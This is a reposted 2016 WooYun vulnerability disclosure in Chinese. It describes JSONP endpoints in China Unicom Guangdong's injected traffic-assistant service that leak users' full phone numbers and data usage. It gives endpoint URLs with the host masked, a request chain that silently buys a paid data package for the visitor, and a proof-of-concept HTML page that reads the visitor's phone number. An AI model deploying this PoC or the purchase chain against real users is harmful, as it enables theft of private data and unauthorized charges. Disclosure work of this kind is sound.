记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

2016-03-14 21:10

首先先来开下脑洞,现在中国联通在搞链路挟持,在你正常的上网过程中给你插些不明来历的代码,加点广告什么的,其中也包括了他们推出的所谓什么“流量助手”以及“沃~助手”之类的。



wooyun.jpg



(图片来自网络)



像图片中的那样,底部被插上了联通的“沃~助手”,用途就是给你看当前的流量之类的。



**先不说他的链路挟持是否合法,就谈谈他这个地方的安全性。你将相关的代码插到了我的页面当中,可能就需要跨域请求到你联通的服务器进行相关数据的获取,而我作为可以控制当前这个网页的人,应该就是有办法能够获取到你跨域请求到的信息,例如手机号码什么的,这样可能就存在相应的信息泄漏。**



这个漏洞大概就是以广东为例子,因为我无法测试外省的相关系统,如果可以麻烦你们也去检查一下其他省份的情况。



广东联通有一个服务,似乎是默认开启的,而我也并不知道有这个服务,那就是联通的上网助手



wooyun-3.png





他在我们上网的过程中,会插入相应的代码到页面中



wooyun-1.png





如图所示左下角就是他们插入的,一个流量球之类的东西,而问题就是出现在这里。



wooyun-2.png





在这个地方,他会显示你当前的流量以及月的总流量,在用户**显示**上面,似乎不会有完整的手机号码,只有类似156****8888这样少了4位的号码,但是在跨域交互当中,就传递了完整的号码。



经过测试,这个所插入的地方通过 jsonp 跨域请求数据,而这就出现了问题



详看漏洞证明。

漏洞证明:

漏洞所在域名:**.**.**.**

经过几天的观察,似乎仅仅是广东联通的手机上网用户可以访问到这个域名下的内容,其他省份用户并不可以。

同时,比较蛋疼的是现在部分手机浏览器都有类似“省流量访问”的功能,这就导致了这个 jsonp 接口有时请求并不是从用户浏览器直接发出,而是从相应的中转服务器出发,而这些服务器都是无法访问的,因此在部分的手机浏览器中需要先关掉相应的“省流量访问”的功能才能访问到这个接口。



===================



**.**.**.** 下的接口几乎都可以使用 jsonp 跨域来获取到数据,下面是几个功能比较突出的接口。



===================



code 区域
http://**.**.**.**/html/servicereq/queryMessageList?callback=angular.callbacks._13&reqparam=%7B%22flag%22:%22-1%22,%22number%22:%2210%22,%22startNum%22:%221%22%7D





获取用户消息,其中包括了用户的完整手机号码。



wooyun-1.jpg





===================



code 区域
http://**.**.**.**/html/servicereq/activetrafficquery?callback=angular.callbacks._13&reqparam=%7B%7D





获取用户当前使用的流量信息



wooyun-2.jpg





===================



组合使用



code 区域
http://**.**.**.**/html/servicereq/packagestore?callback=angular.callbacks._64&reqparam=%7B%7D





wooyun-3.jpg





获取套餐包 ID



code 区域
http://**.**.**.**/html/servicereq/commonpkgsub?callback=angular.callbacks._6d&reqparam=%7B%22id%22:%22-147014340A146%22%7D





下单这个 ID 为 -147014340A146 的流量快餐包



code 区域
http://**.**.**.**/html/servicereq/confirmpkgsub?callback=angular.callbacks._6f&reqparam=%7B%22id%22%3A%22-147014340A146%22%2C%22flowUpshiftFlag%22%3A%220%22%2C%22saleid%22%3A%22%22%2C%22effecttime%22%3A%7B%22value%22%3A%220%22%7D%2C%22effectperiod%22%3A%7B%22value%22%3A%221%22%7D%2C%22isMonthPack%22%3A%221%22%2C%22taskId%22%3A%22%22%7D





wooyun-4.jpg





二次确认



依次访问这几个地址就可以帮访问当前页面的联通用户开通一个10块钱的流量快餐包,此时用户的手机会有相应开通成功的提示(我为了测试这个地方花了我20块钱 - -l



如果有不怀好意的人,重复循环这几个步骤,那么可能会给用户带来极大的损失。



我个人估计第二步可以省略,但是我已经没钱测试了......



===================

===================



为了测试,我写了个简单的页面进行测试,跨域获取到当前访问的联通用户手机号以及流量使用情况。



code 区域
<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>Liantong</title>

</head>

<body>

<script>

function phoneNumber(data) {

alert("你的手机号码是:" + data['respparam']['phoneNumber']);

}

function trafficUsage(data) {

alert("截至 " + data['respparam']['trafficusage']['traffictime'] + "\n你有 " + data['respparam']['trafficusage']['total'] + " KB\n已用 " + data['respparam']['trafficusage']['used'] + " KB\n");

}

</script>

<script src="http://**.**.**.**/html/servicereq/queryMessageList?callback=phoneNumber&reqparam=%7B%22flag%22%3A%22-1%22%2C%22number%22%3A%2210%22%2C%22startNum%22%3A%221%22%7D"></script>

<script src="http://**.**.**.**/html/servicereq/activetrafficquery?callback=trafficUsage&reqparam=%7B%22applist%22:%22itaocanresult%22%7D"></script>

</body>

</html>





wooyun-5.jpg





wooyun-6.jpg

修复方案:

我本身想写和大多数 jsonp 接口那样子的做好 Referer 防护,但是想了想,这个页面、这个 jsonp 接口就是插到各种网站上面去的,包括我现在访问着的乌云,所以做这个并没有什么意义。



如果可以的话,我觉得,还是不要做链路挟持了,把整个功能关掉多好。既能不再影响用户的正常上网体验,又不会遭受被骂链路挟持乱插广告的名声。



具体修复方案还请你们自行定夺

知识来源: www.wooyun.org/bugs/wooyun-2016-0172305

阅读:86747 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词